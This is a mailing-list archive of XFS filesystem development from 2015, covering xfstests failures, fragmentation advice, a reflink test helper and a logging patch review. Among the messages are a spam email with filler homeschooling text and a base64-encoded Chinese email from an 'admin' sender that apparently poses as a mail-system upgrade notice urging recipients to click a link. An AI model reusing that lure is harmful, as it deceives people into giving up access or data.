X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=UNPARSEABLE_RELAY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23491 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 UNPARSEABLE_RELAY Informational: message has unparseable relay lines On Wed, Oct 14, 2015 at 11:23:44AM -0700, Christoph Hellwig wrote: > On Wed, Oct 14, 2015 at 11:20:13AM -0700, Darrick J. Wong wrote: > > > As is this makes xfstests rather unhappy by failing tests. I'm not > > > sure if that's issues in the blockget / xfs_check functionality or > > > because it actually finds bugs in the kernel code. > > > > Which tests, specifically? I ran all the tests in the 'quick' group and of > > the relatively few errors I saw, I couldn't trace any of them back to blockget. > > > > Earlier patch editions caused such problems, but afaict I've fixed them all. :) > > shared/006 xfs/076 xfs/206 xfs/250 > > although xfs/206 also fails just due to reflink output from mkfs, but > I'll send a patch for that soon. Hmm. I suspect shared/006 and xfs/250 are fixed by Dave's patch to validate AGI blocks with the AGI buf ops instead of the AGFL buf ops. They don't trigger errors now that I've rebased on xfsprogs 4.3-rc1. I suspect xfs/076 fails because xfs_db doesn't know about sparse inodes. That's probably because I haven't totally figured them out either. I'll have a look at that. --D From tracy-xfs=oss.sgi.com@janaconda.com Wed Oct 14 15:30:20 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=HTML_MESSAGE autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 850227F37 for ; Wed, 14 Oct 2015 15:30:20 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 744A98F8040 for ; Wed, 14 Oct 2015 13:30:17 -0700 (PDT) X-ASG-Debug-ID: 1444854615-04cbb035a902bc0001-NocioJ Received: from connet.janaconda.com (connet.janaconda.com [23.95.21.13]) by cuda.sgi.com with ESMTP id wnfFPN0c4AcevIxJ for ; Wed, 14 Oct 2015 13:30:15 -0700 (PDT) X-Barracuda-Envelope-From: tracy-xfs=oss.sgi.com@janaconda.com X-Barracuda-Apparent-Source-IP: 23.95.21.13 Received: by connet.janaconda.com id h3qtlg0001g1 for ; Wed, 14 Oct 2015 13:27:47 -0700 (envelope-from ) MIME-Version: 1.0 From: "Tracy E. Blankenship" To: xfs@oss.sgi.com Subject: Is Your Business Ready for Apple Pay? Date: Wed, 14 Oct 2015 13:27:47 -0700 X-ASG-Orig-Subj: Is Your Business Ready for Apple Pay? Content-Type: multipart/alternative; boundary="b097f9d21b422ae2607cb198a318c3" Message-ID: <0.0.0.6A.1D106BEC9F82080.62BB21B@connet.janaconda.com> X-Barracuda-Connect: connet.janaconda.com[23.95.21.13] X-Barracuda-Start-Time: 1444854615 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 1.50 X-Barracuda-Spam-Status: No, SCORE=1.50 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MV0702, HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23492 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 HTML_MESSAGE BODY: HTML included in message 1.50 BSF_SC0_MV0702 Custom rule MV0702 --b097f9d21b422ae2607cb198a318c3 Content-Type: text/plain; The Ins And Outs Of Homeschooling Children Just as in regular school, your child may find that they are having trouble with a certain subject. If this is the case for your child, do not be ashamed to hire a tutor and do not get down on yourself. Many parents feel as though it is their fault if their child is not excelling in a certain subject; the truth is this is natural. The only thing you can do about it is get them the help they need. Learning isn't restricted to your children - you also have to learn as much as you can about the topics you teach, how to teach more effectively and how to run an efficient homeschool. You can find a plethora of information online on blogs, websites and through videos and podcasts. Locate experts in the field and follow what they share. Pick up books and keep them as references. The more you know, the more your kids will learn. If you plan to home school your child or children, always remember that books and the chosen curricula are just the basics. The best learning experience within the home is one that incorporates materials and concepts from outside the home and the curriculum. If you cannot find a single curricula that meets your needs, don't be afraid to use multiple sources. When you home school your child, you take on more than the role of teacher. Actually, you'll also have to be the cafeteria worker, physical education coach and possibly even a counselor. Consider the responsibilities each title carries as you plan out your daily schedule and routine. Prepare lunches in advance, schedule outdoor time and make yourself available for emotional support and motivation. Hands-on practice is very important for your child's learning process. Cooking is one great way to engage them in the topic. To illustrate, if they are learning about India, they could try their hand making some Indian curry. When learning about wars, you can cook foods from the countries you are studying. Learning with all senses will allow your child to more fully understand the topics. With increasing frequency, countless parents are determining that homeschooling is the best possible option in terms of ensuring that their children receive a truly great education. The process of schooling children in the home does, however, post substantial challenges for just about every parents, no matter how motivated. Fortunately, the advice in the article above has provide a solid foundation for getting a home-based educational program off the ground. If you have smaller children around while homeschooling, you need to set some ground rules for them. It's okay for the toddler to stay in the room if they are not causing a disruption to class time. During breaks from teaching, make sure to give your toddler attention during those times. Doing this will make things run more smoothly in the long run and improve educational outcomes for the older child. To keep your student (and yourself) connected with the world outside the home-school classroom, volunteer. Volunteer work is rewarding and provides excellent real-world experience. Look for opportunities that closely match your student's interests. You might also look for opportunities that closely correspond with current lessons. Students take pride in the ability to help others and will appreciate the chance to get out of the house. --b097f9d21b422ae2607cb198a318c3 Content-Type: text/html; Apple



To unsubscribe please click here






The Ins And Outs Of Homeschooling Children Just as in regular school, your child may find that they are having trouble with a certain subject. If this is the case for your child, do not be ashamed to hire a tutor and do not get down on yourself. Many parents feel as though it is their fault if their child is not excelling in a certain subject; the truth is this is natural. The only thing you can do about it is get them the help they need. Learning isn't restricted to your children - you also have to learn as much as you can about the topics you teach, how to teach more effectively and how to run an efficient homeschool. You can find a plethora of information online on blogs, websites and through videos and podcasts. Locate experts in the field and follow what they share. Pick up books and keep them as references. The more you know, the more your kids will learn. If you plan to home school your child or children, always remember that books and the chosen curricula are just the basics. The best learning experience within the home is one that incorporates materials and concepts from outside the home and the curriculum. If you cannot find a single curricula that meets your needs, don't be afraid to use multiple sources. When you home school your child, you take on more than the role of teacher. Actually, you'll also have to be the cafeteria worker, physical education coach and possibly even a counselor. Consider the responsibilities each title carries as you plan out your daily schedule and routine. Prepare lunches in advance, schedule outdoor time and make yourself available for emotional support and motivation. Hands-on practice is very important for your child's learning process. Cooking is one great way to engage them in the topic. To illustrate, if they are learning about India, they could try their hand making some Indian curry. When learning about wars, you can cook foods from the countries you are studying. Learning with all senses will allow your child to more fully understand the topics. With increasing frequency, countless parents are determining that homeschooling is the best possible option in terms of ensuring that their children receive a truly great education. The process of schooling children in the home does, however, post substantial challenges for just about every parents, no matter how motivated. Fortunately, the advice in the article above has provide a solid foundation for getting a home-based educational program off the ground. If you have smaller children around while homeschooling, you need to set some ground rules for them. It's okay for the toddler to stay in the room if they are not causing a disruption to class time. During breaks from teaching, make sure to give your toddler attention during those times. Doing this will make things run more smoothly in the long run and improve educational outcomes for the older child. To keep your student (and yourself) connected with the world outside the home-school classroom, volunteer. Volunteer work is rewarding and provides excellent real-world experience. Look for opportunities that closely match your student's interests. You might also look for opportunities that closely correspond with current lessons. Students take pride in the ability to help others and will appreciate the chance to get out of the house.

3122 Sunrise Road Henderson, NV 89014

--b097f9d21b422ae2607cb198a318c3-- From david@fromorbit.com Wed Oct 14 16:26:56 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id B12107F37 for ; Wed, 14 Oct 2015 16:26:56 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 5E1CDAC002 for ; Wed, 14 Oct 2015 14:26:52 -0700 (PDT) X-ASG-Debug-ID: 1444858010-04bdf06db437030001-NocioJ Received: from ipmail04.adl6.internode.on.net (ipmail04.adl6.internode.on.net [150.101.137.141]) by cuda.sgi.com with ESMTP id fzbIJRZ4BmkMjRCa for ; Wed, 14 Oct 2015 14:26:51 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.141 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: A2DLCABDyB5WPCSkLHlegyaBQoZboWcGix+FG4YJgxOCCnkEAgKBS00BAQEBAQEHAQEBAUE/hCcBAQQ6HCMQCAMOCgklDwUlAwcaE4gtw2sBAQgCIBmGFoVFhQ0HhC4FlhWNE48ljG2EeSozhm8BAQE Received: from ppp121-44-164-36.lns20.syd7.internode.on.net (HELO dastard) ([121.44.164.36]) by ipmail04.adl6.internode.on.net with ESMTP; 15 Oct 2015 07:56:31 +1030 Received: from dave by dastard with local (Exim 4.80) (envelope-from ) id 1ZmTZ8-0006Jv-Qb; Thu, 15 Oct 2015 08:26:30 +1100 Date: Thu, 15 Oct 2015 08:26:30 +1100 From: Dave Chinner To: Christoph Hellwig Cc: "Darrick J. Wong" , xfs@oss.sgi.com Subject: Re: [PATCH 07/51] xfs_db: enable blockget for v5 filesystems Message-ID: <20151014212630.GO31326@dastard> X-ASG-Orig-Subj: Re: [PATCH 07/51] xfs_db: enable blockget for v5 filesystems References: <20151007050513.1504.28089.stgit@birch.djwong.org> <20151007050558.1504.97525.stgit@birch.djwong.org> <20151014170818.GA10559@infradead.org> <20151014182013.GK10397@birch.djwong.org> <20151014182344.GA28670@infradead.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20151014182344.GA28670@infradead.org> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail04.adl6.internode.on.net[150.101.137.141] X-Barracuda-Start-Time: 1444858010 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23493 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Wed, Oct 14, 2015 at 11:23:44AM -0700, Christoph Hellwig wrote: > On Wed, Oct 14, 2015 at 11:20:13AM -0700, Darrick J. Wong wrote: > > > As is this makes xfstests rather unhappy by failing tests. I'm not > > > sure if that's issues in the blockget / xfs_check functionality or > > > because it actually finds bugs in the kernel code. > > > > Which tests, specifically? I ran all the tests in the 'quick' group and of > > the relatively few errors I saw, I couldn't trace any of them back to blockget. > > > > Earlier patch editions caused such problems, but afaict I've fixed them all. :) > > shared/006 xfs/076 xfs/206 xfs/250 > > although xfs/206 also fails just due to reflink output from mkfs, but > I'll send a patch for that soon. Current failures here with v4.3-rcX on both sides and a current xfstests: Failures: generic/042 xfs/076 xfs/078 xfs/079 042 is expected to fail, xfs/076 is testing sparse inodes (check doesn't understand them), xfs/078 is failing because I'm testing on 4k sector devices and it wants to use a 2k block size. xfs/079 is failing because repair is reporting: found illegal null character in symlink inode 16811448 problem with symbolic link in inode 16811448 would have cleared inode 16811448 but the check is clean. So that may be a new regression. I haven't looked into it more deeply than that. Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Wed Oct 14 16:35:37 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 35FAB7F37 for ; Wed, 14 Oct 2015 16:35:37 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 1706A8F8064 for ; Wed, 14 Oct 2015 14:35:33 -0700 (PDT) X-ASG-Debug-ID: 1444858530-04cb6c110341040001-NocioJ Received: from ipmail04.adl6.internode.on.net (ipmail04.adl6.internode.on.net [150.101.137.141]) by cuda.sgi.com with ESMTP id Bp08B0RB7OtnSKKX for ; Wed, 14 Oct 2015 14:35:31 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.141 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: A2CaCQBryR5WPCSkLHlegyaBQoJdg36hYQEBAQEBAQaLH4slhhYEAgKBS00BAQEBAQEHAQEBAUE/hCcBAQQyASMjEAgDGAklDwUlAwcaE4gtw20sGYYWhUWFDQeELgWWF40TnBOEeiozhm8BAQE Received: from ppp121-44-164-36.lns20.syd7.internode.on.net (HELO dastard) ([121.44.164.36]) by ipmail04.adl6.internode.on.net with ESMTP; 15 Oct 2015 08:04:54 +1030 Received: from dave by dastard with local (Exim 4.80) (envelope-from ) id 1ZmThF-0006LC-Pl; Thu, 15 Oct 2015 08:34:53 +1100 Date: Thu, 15 Oct 2015 08:34:53 +1100 From: Dave Chinner To: Eric Sandeen Cc: =?iso-8859-1?Q?C=E9dric?= Lemarchand , xfs@oss.sgi.com Subject: Re: Any way to slow down fragmentation ? Message-ID: <20151014213453.GP31326@dastard> X-ASG-Orig-Subj: Re: Any way to slow down fragmentation ? References: <561D7D9D.4030409@ixblue.com> <561D800B.90307@sandeen.net> <561EA0C0.8040305@sandeen.net> MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Disposition: inline Content-Transfer-Encoding: 8bit In-Reply-To: <561EA0C0.8040305@sandeen.net> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail04.adl6.internode.on.net[150.101.137.141] X-Barracuda-Start-Time: 1444858530 X-Barracuda-URL: https://192.48.176.15:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23493 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Wed, Oct 14, 2015 at 01:36:48PM -0500, Eric Sandeen wrote: > > > On 10/14/15 1:29 PM, Cédric Lemarchand wrote: > > Well .. it seems I missed the most important part of the FAQ, thank > > for pointing it. As you stated, playing with xfs_bmap shows that the > > 13TB file is fragmented a lot, xfs_fsr is now working on it. > > how much was "a lot?" > > a 13TB file can have "a lot" of *very* large extents. With the maximum extent size being 8GB, a file that large going to see "a lot" of extents even if it isn't fragmented. It will be spread out over multiple AGs (being 1TB max in size), and that makes it *appear* worse than it really is. Indeed, the best case is that the BMBT will have ~1700 extent records in it for a file that size, so it may appear to be fragmented when it really isn't. Fragmentation is not measured by "having lots of extents in a file". The extent layout of a file needs to be measured against the pattern and size of the IOs the application does to that file - the file is not fragmented if the size and/or packing of extents is optimal for the access patterns of the application, regardless of the number of extents in the file... Cheers, Dave. -- Dave Chinner david@fromorbit.com From BATV+1c0668dd2b2da1634db0+4435+infradead.org+hch@bombadil.srs.infradead.org Thu Oct 15 04:20:00 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 878267F3F for ; Thu, 15 Oct 2015 04:20:00 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 16234AC003 for ; Thu, 15 Oct 2015 02:19:57 -0700 (PDT) X-ASG-Debug-ID: 1444900794-04cb6c3ceb0b590001-NocioJ Received: from bombadil.infradead.org ([198.137.202.9]) by cuda.sgi.com with ESMTP id YL2yjYctISjfTavg (version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128 verify=NO) for ; Thu, 15 Oct 2015 02:19:55 -0700 (PDT) X-Barracuda-Envelope-From: BATV+1c0668dd2b2da1634db0+4435+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1ZmehM-0004Jg-TP; Thu, 15 Oct 2015 09:19:44 +0000 Date: Thu, 15 Oct 2015 02:19:44 -0700 From: Christoph Hellwig To: "Darrick J. Wong" Cc: david@fromorbit.com, fstests@vger.kernel.org, linux-ext4@vger.kernel.org, Anna.Schumaker@netapp.com, linux-btrfs@vger.kernel.org, xfs@oss.sgi.com Subject: Re: [PATCH 03/12] generic/80[0-2]: support xfs in addition to btrfs Message-ID: <20151015091944.GA13683@infradead.org> X-ASG-Orig-Subj: Re: [PATCH 03/12] generic/80[0-2]: support xfs in addition to btrfs References: <20151007051257.3260.73072.stgit@birch.djwong.org> <20151007051323.3260.60421.stgit@birch.djwong.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20151007051323.3260.60421.stgit@birch.djwong.org> User-Agent: Mutt/1.5.23 (2014-03-12) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: UNKNOWN[198.137.202.9] X-Barracuda-Start-Time: 1444900794 X-Barracuda-Encrypted: ECDHE-RSA-AES128-GCM-SHA256 X-Barracuda-URL: https://192.48.176.15:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.70 X-Barracuda-Spam-Status: No, SCORE=0.70 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO, MARKETING_SUBJECT, RDNS_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23508 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.60 MARKETING_SUBJECT Subject contains popular marketing words 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS > +# this test requires the test fs support reflink... > +# > +_require_test_reflink() > +{ > + case $FSTYP in > + xfs) > + xfs_info "${TEST_DIR}" | grep reflink=1 -c -q || _notrun "Reflink not supported by this filesystem type: $FSTYP" > + ;; > + btrfs) > + true > + ;; > + *) > + _notrun "Reflink not supported by this filesystem type: $FSTYP" > + ;; > + esac I don't think that's a good test - we need to check if it's supported by trying it. That'll automatically get us coverage for other file systems like xfs. Note that dedup should get it's own feature check, as currently hacking nfs into this check will also run dedup tests that can't really be supported. From cmaiolino@redhat.com Thu Oct 15 04:50:09 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 080CF7F47 for ; Thu, 15 Oct 2015 04:50:09 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 95742AC001 for ; Thu, 15 Oct 2015 02:50:08 -0700 (PDT) X-ASG-Debug-ID: 1444902606-04bdf06db444ca0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id gEE1pjtMxaMf0gBJ (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Thu, 15 Oct 2015 02:50:07 -0700 (PDT) X-Barracuda-Envelope-From: cmaiolino@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx14.intmail.prod.int.phx2.redhat.com (int-mx14.intmail.prod.int.phx2.redhat.com [10.5.11.27]) by mx1.redhat.com (Postfix) with ESMTPS id C62F619CBD3 for ; Thu, 15 Oct 2015 09:50:06 +0000 (UTC) Received: from redhat.com (dhcp-26-103.brq.redhat.com [10.34.26.103]) by int-mx14.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t9F9o3wt013025 (version=TLSv1/SSLv3 cipher=AES256-SHA bits=256 verify=NO); Thu, 15 Oct 2015 05:50:06 -0400 Date: Thu, 15 Oct 2015 11:50:03 +0200 From: Carlos Maiolino To: Eric Sandeen Cc: xfs@oss.sgi.com Subject: Re: [PATCH] xfs: more info from kmem deadlocks and high-level error msgs Message-ID: <20151015095003.GB27267@redhat.com> X-ASG-Orig-Subj: Re: [PATCH] xfs: more info from kmem deadlocks and high-level error msgs Mail-Followup-To: Eric Sandeen , xfs@oss.sgi.com References: <561884F5.2050808@redhat.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <561884F5.2050808@redhat.com> User-Agent: Mutt/1.5.23 (2014-03-12) X-Scanned-By: MIMEDefang 2.68 on 10.5.11.27 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1444902607 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On Fri, Oct 09, 2015 at 10:24:37PM -0500, Eric Sandeen wrote: > In an effort to get more useful out of "possible memory > allocation deadlock" messages, print the size of the > requested allocation, and dump the stack if the xfs error > level is tuned high. > > The stack dump is implemented in define_xfs_printk_level() > for error levels >= LOGLEVEL_ERR, partly because it > seems generically useful, and also because kmem.c has > no knowledge of xfs error level tunables or other such bits, > it's very kmem-specific. > > Signed-off-by: Eric Sandeen Looks good to me: Reviewed-by: Carlos Maiolino > --- > > diff --git a/fs/xfs/kmem.c b/fs/xfs/kmem.c > index a7a3a63..dfe3a8b 100644 > --- a/fs/xfs/kmem.c > +++ b/fs/xfs/kmem.c > @@ -55,8 +55,8 @@ kmem_alloc(size_t size, xfs_km_flags_t flags) > return ptr; > if (!(++retries % 100)) > xfs_err(NULL, > - "possible memory allocation deadlock in %s (mode:0x%x)", > - __func__, lflags); > + "possible memory allocation deadlock size %u in %s (mode:0x%x)", > + (unsigned int)size, __func__, lflags); > congestion_wait(BLK_RW_ASYNC, HZ/50); > } while (1); > } > diff --git a/fs/xfs/xfs_message.c b/fs/xfs/xfs_message.c > index d8b6754..11792d8 100644 > --- a/fs/xfs/xfs_message.c > +++ b/fs/xfs/xfs_message.c > @@ -17,6 +17,7 @@ > > #include "xfs.h" > #include "xfs_fs.h" > +#include "xfs_error.h" > #include "xfs_format.h" > #include "xfs_log_format.h" > #include "xfs_trans_resv.h" > @@ -43,6 +44,7 @@ void func(const struct xfs_mount *mp, const char *fmt, ...) \ > { \ > struct va_format vaf; \ > va_list args; \ > + int level; \ > \ > va_start(args, fmt); \ > \ > @@ -51,6 +53,11 @@ void func(const struct xfs_mount *mp, const char *fmt, ...) \ > \ > __xfs_printk(kern_level, mp, &vaf); \ > va_end(args); \ > + \ > + if (!kstrtoint(kern_level, 0, &level) && \ > + level <= LOGLEVEL_ERR && \ > + xfs_error_level >= XFS_ERRLEVEL_HIGH) \ > + xfs_stack_trace(); \ > } \ > > define_xfs_printk_level(xfs_emerg, KERN_EMERG); > > _______________________________________________ > xfs mailing list > xfs@oss.sgi.com > http://oss.sgi.com/mailman/listinfo/xfs -- Carlos From jijianwu@unionpay.com Thu Oct 15 05:10:52 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=HTML_MESSAGE autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 0B7137F50 for ; Thu, 15 Oct 2015 05:10:52 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id D1E778F8040 for ; Thu, 15 Oct 2015 03:10:48 -0700 (PDT) X-ASG-Debug-ID: 1444903843-04bdf06db145430001-NocioJ Received: from mailgw.unionpay.com ([58.246.226.19]) by cuda.sgi.com with ESMTP id ZIBlyqfViiwkO0Ob for ; Thu, 15 Oct 2015 03:10:44 -0700 (PDT) X-Barracuda-Envelope-From: jijianwu@unionpay.com X-Barracuda-Apparent-Source-IP: 58.246.226.19 Received: from /spool/local by unionpay.com with XMail ESMTP for from ; Thu, 15 Oct 2015 18:11:14 +0800 Received: from vm01mta1.unionpay.com (172.16.8.21) by unionpay.com (172.16.1.121) with XMail ESMTP; Thu, 15 Oct 2015 18:11:13 +0800 Received: from vm21lb1 ([172.16.9.11]) by vm05srv3.unionpay.com (IBM Domino Release 9.0.1FP3HF236) with ESMTP id 2015101518073966-13114 ; Thu, 15 Oct 2015 18:07:39 +0800 Date: Thu, 15 Oct 2015 18:09:18 +0800 From: "admin" To: Subject: =?utf-8?B?MjAxNS0xMC0xNeWNh+e6p+WujOavlQ==?= Message-ID: <20151015180929804507@unionpay.com> X-ASG-Orig-Subj: =?utf-8?B?MjAxNS0xMC0xNeWNh+e6p+WujOavlQ==?= X-Priority: 1 (High) X-mailer: Foxmail 6, 13, 102, 15 [cn] Mime-Version: 1.0 X-MIMETrack: Itemize by SMTP Server on PPMLSRV03/UnionPay(Release 9.0.1FP3HF236 | March 20, 2015) at 2015-10-15 18:07:39, Serialize by Router on PPMLMTA01/UnionPay(Release 9.0.1FP3|January 12, 2015) at 2015-10-15 18:07:44, Serialize complete at 2015-10-15 18:07:44 X-TNEFEvaluated: 1 Content-Type: multipart/alternative; boundary="=====003_Dragon064227526083_=====" x-cbid: 15101510-5186-0000-0000-00000053E978 X-Barracuda-Connect: UNKNOWN[58.246.226.19] X-Barracuda-Start-Time: 1444903843 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.60 X-Barracuda-Spam-Status: No, SCORE=0.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MV0113c, BSF_SC5_MJ1963, HTML_MESSAGE, RDNS_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23508 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 BSF_SC0_MV0113c BSF_SC0_MV0113c 0.00 HTML_MESSAGE BODY: HTML included in message 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS 0.50 BSF_SC5_MJ1963 Custom Rule MJ1963 This is a multi-part message in MIME format. --=====003_Dragon064227526083_===== Content-Transfer-Encoding: base64 Content-Type: text/plain; charset="utf-8" 5ZCE5L2N5ZCM5LqL77yaDQoNCuWFrOWPuOWGhemDqOmCruS7tuezu+e7n+WwhuWcqOS4ieWkqeWQ jui/m+ihjOWNh+e6p++8jOeOsOWcqOS9v+eUqOeahOeJiOacrOWNs+WwhuWBnOatouS9v+eUqOOA gg0KDQror7fkvaDlsL3lv6vlsIbmlbDmja7ov5vooYzlpIfku73vvIzpgb/lhY3lsYrml7booqvm uIXnqbrvvIzpgL7ml7blsIbml6Dms5Xov5vooYzmgaLlpI0NCuivt+eCueWHu+i/memHjOi/m+ih jA0K5pys5qyh6YCa55+l55qE5pyJ5pWI5pe26Ze05Li6M+Wwj+aXtu+8jOi2heaXtuWwhuiiq+m7 mOiupOS4uuaUvuW8g+OAgg0KMjAxNS0xMC0xNSzkuIvljYggMDY6MDk6Mjk= --=====003_Dragon064227526083_===== Content-Transfer-Encoding: base64 Content-Type: text/html; charset="utf-8" PCFET0NUWVBFIEhUTUwgUFVCTElDICItLy9XM0MvL0RURCBIVE1MIDQuMCBUcmFuc2l0aW9uYWwv L0VOIj4NCjxIVE1MPjxIRUFEPg0KPE1FVEEgY29udGVudD0idGV4dC9odG1sOyBjaGFyc2V0PXV0 Zi04IiBodHRwLWVxdWl2PUNvbnRlbnQtVHlwZT4NCjxNRVRBIG5hbWU9R0VORVJBVE9SIGNvbnRl 